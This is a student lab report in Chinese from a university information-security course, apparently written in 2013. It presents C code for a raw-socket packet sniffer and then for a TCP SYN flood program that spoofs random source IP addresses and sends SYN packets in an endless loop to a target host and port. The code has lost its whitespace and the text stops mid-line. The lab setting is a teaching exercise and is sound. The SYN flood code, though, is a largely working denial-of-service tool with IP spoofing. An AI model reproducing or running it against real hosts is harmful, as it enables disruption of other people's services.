四川大学计算机学院、软件学院实验报告学号:姓名:专业:__软件工程__班级:第12周课程名称信息安全产品开发实践实验课时4实验项目原始套接字实验时间2013.11.29实验目的利用原始套接字实现一个TCPSYSflooding程序实验环境虚拟机RedHatEnterpriseLinux-VMwareWorkstation实验内容(算法、程序、步骤和方法)由于我们在这次实验中只需要对IP和TCP头部进行修改,所以使用的是网络层原始套接字。这个实验考验的是对IP和TCP报头结构体的了解,其实在之前的实验我们就已经有所接触,在嗅探器中我们就是把接收到的数据包进行分解,分别先后解封IP头部,再解封TCP头部(越底层的数据越放在前面)。这一部分知识可以参考在老师的demo程序packet.c,那是一个使用链路层套接字的嗅探器,不过在输出ip地址那部分需要改动一下才能正常运行。下面把修改后的packet展示一下:#includestdio.h#includestdlib.h#includeerrno.h#includeunistd.h#includesys/socket.h#includesys/types.h#includenetinet/in.h#includenetinet/ip.h#includenetinet/if_ether.h#includenetinet/tcp.hintmain(intargc,char**argv){intsock,n;charbuffer[2048];structethhdr*eth;structiphdr*iph;structtcphdr*tcph;if(0(sock=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP)))){perror(socket);exit(1);}intnum=1;while(1){printf(=====================================\n);//注意:在这之前我没有调用bind函数,原因是什么呢?n=recvfrom(sock,buffer,2048,0,NULL,NULL);printf(number:%d,num++);printf(%dbytesread\n,n);//接收到的数据帧头6字节是目的MAC地址,紧接着6字节是源MAC地址。eth=(structethhdr*)buffer;printf(DestMACaddr:%02x:%02x:%02x:%02x:%02x:%02x\n,eth-h_dest[0],eth-h_dest[1],eth-h_dest[2],eth-h_dest[3],eth-h_dest[4],eth-h_dest[5]);printf(SourceMACaddr:%02x:%02x:%02x:%02x:%02x:%02x\n,eth-h_source[0],eth-h_source[1],eth-h_source[2],eth-h_source[3],eth-h_source[4],eth-h_source[5]);iph=(structiphdr*)(buffer+sizeof(structethhdr));//我们只对IPV4且没有选项字段的IPv4报文感兴趣//if(iph-version==4&&iph-ihl==5){if(iph-version==4){charaddr_p1[INET_ADDRSTRLEN];charaddr_p2[INET_ADDRSTRLEN];inet_ntop(AF_INET,&iph-saddr,addr_p1,sizeof(addr_p1));inet_ntop(AF_INET,&iph-daddr,addr_p2,sizeof(addr_p2));printf(Sourcehost:%s\n,addr_p1);printf(Desthost:%s\n,addr_p2);if(iph-protocol==6)//TCP{tcph=(structtcphdr*)(buffer+sizeof(structether_header)+sizeof(structip));printf(Sourport:%d\n,ntohs(tcph-source));printf(Destport:%d\n,ntohs(tcph-dest));}}}}这里主要修改的地方是:1、原代码问题:在输出ip那部分需要利用inet_ntop函数,不然程序运行出问题。2、加入了TCP头部解封,输出源端口和目的端口,当然还要把相应的头文件加入。其实只要把上面这程序和这次的synflood结合起来再做点修改就可以做出一个syn端口扫描器。(接上)实验内容(算法、程序、步骤和方法)而这次的synflood程序中做的就是和嗅探器相反的工作:先封装IP头部,再封装TCP头部。程序的主要流程就是:构造IP头部——构造TCP头部——发送数据。这是一个循环的过程(不停发送syn攻击),里面需要注意:1、TCP头部中syn要标记为1,其它皆为0。2、每循环一次,伪装的源IP地址就要改一次,那IP头部的校验和就要重新计算,当底层的报头有所改变(IP头部),那上层的头部——TCP头部的校验和同样要重新计算。有关检验部分,在运行synflood程序之前,必须先运行一个服务器程序来作为攻击目标。关于观测端口连接情况,老师提供的是netstat-tn,如果想看得更加方便的话,可以使用netstat-tn|grep“:888”这样来监视某个端口。#includestdio.h//printf#includestring.h//memset#includestdlib.h//forexit(0);#includesys/socket.h#includeerrno.h//Forerrno-theerrornumber#includepthread.h#includenetdb.h//hostend#includearpa/inet.h#includenetinet/tcp.h//Providesdeclarationsfortcpheader#includenetinet/ip.h//Providesdeclarationsforipheaderunsignedshortcsum(unsignedshort*,int);structpseudo_header//neededforchecksumcalculation{unsignedintsource_address;unsignedintdest_address;unsignedcharplaceholder;unsignedcharprotocol;unsignedshorttcp_length;structtcphdrtcp;};structin_addrdest_ip;intmain(intargc,char*argv[]){//Createarawsocketints=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);if(s0){printf(Errorcreatingsocket.Errornumber:%d.Errormessage:%s\n,errno,strerror(errno));exit(0);}else{printf(Socketcreated.\n);}//Datagramtorepresentthepacketchardatagram[4096];//IPheaderstructiphdr*iph=(structiphdr*)datagram;//TCPheaderstructtcphdr*tcph=(structtcphdr*)(datagram+sizeof(structip));structsockaddr_indest;structpseudo_headerpsh;char*target=argv[1];if(argc3){printf(Pleasespecifyahostnameandaport\n);exit(1);}//getthetargetipdest_ip.s_addr=inet_addr(target);//IP_HDRINCLtotellthekernelthatheadersareincludedinthepacketintone=1;constint*val=&one;if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,val,sizeof(one))0){printf(ErrorsettingIP_HDRINCL.Errornumber:%d.Errormessage:%s\n,errno,strerror(errno));exit(0);}while(1){structin_addrsour_ip;intsource_port=8888;sour_ip.s_addr=random();memset(datagram,0,4096);/*zerooutthebuffer*///FillintheIPHeaderiph-ihl=5;iph-version=4;iph-tos=0;iph-tot_len=sizeof(structip)+sizeof(structtcphdr);iph-id=htons(54321);//Idofthispacketiph-frag_off=htons(16384);iph-ttl=64;iph-protocol=IPPROTO_TCP;iph-check=0;//Setto0beforecalculatingchecksumiph-saddr=sour_ip.s_addr;//Spoofthesourceipaddressiph-daddr=dest_ip.s_addr;iph-check=csum((unsignedshort*)datagram,iph-tot_len1);//TCPHeadertcph-source=htons(source_port);tcph-dest=htons(atoi(argv[2]));tcph-seq=htonl(1105024978);tcph-ack_seq=0;tcph-doff=sizeof(structtcphdr)/4;//Sizeoftcpheadertcph-fin=0;tcph-syn=1;tcph-rst=0;tcph-psh=0;tcph-ack=0;tcph-urg=0;tcph-window=htons(14600);//maximumallowedwindowsizetcph-check=0;//ifyousetachecksumtozero,yourkernel'sIPstackshouldfillinthecorrectchecksumduringtransmissiontcph-urg_ptr=0;tcph-check=0;//ifyousetachecksumtozero,yourkernel'sIPstackshouldfillinthecorrectchecksumduringtransmissionpsh.source_address=sour_ip.s_addr;psh.dest_address=dest.sin_addr.s_addr;psh.placeholder=0;psh.protocol=IPPROTO_TCP;psh.tcp_length=htons(sizeof(structtcphdr));memcpy(&psh.tcp,tcph,sizeof(structtcphdr));tcph-check=csum